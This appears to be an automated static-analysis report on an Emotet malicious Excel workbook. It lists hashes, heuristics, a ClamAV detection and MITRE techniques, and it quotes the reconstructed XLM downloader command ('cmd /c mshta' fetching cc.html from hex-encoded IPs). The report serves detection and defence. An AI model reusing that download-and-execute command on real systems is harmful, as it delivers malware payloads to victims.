Emotet — Office (OLE) / .XLSX malware analysis

Static analysis result for SHA-256 7dd1c5453fea09c2…

MALICIOUS

Office (OLE) / .XLSX

129.4 KB Created: 2022-01-17 21:27:03 Authoring application: Microsoft Excel
MD5: 5756a5da981c2bd0983a3c8fba2eb63d SHA-1: 613db055668cacd25d9f856d37320d7aff539e7e SHA-256: 7dd1c5453fea09c254cbeacf66cbcfe87bb4d055e7eec21994f4be783a9d6d98
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Service Execution: Visual Basic T1204.002 Malicious File: User Execution: Malicious File

The critical heuristics indicate the presence of Excel 4.0 macros with an Auto_Open entry, and ClamAV identifies it as a downloader associated with Emotet. The extracted XLM macro explicitly defines a string that reconstructs to 'cmd /c mshta http://0xc12a24f5/cc.html' or 'cmd /c mshta http://0xb907d607/cc.html', indicating the script's intent is to download and execute a second-stage payload from the specified URL. This is a common delivery mechanism for Emotet.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Doc.Downloader.EmotetExcel01220-9936774-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetExcel01220-9936774-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
a0fd1b709c0182b7bfad87bd5382ad41592e9af0d0093f5e68d1ff145f18d235
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 653 bytes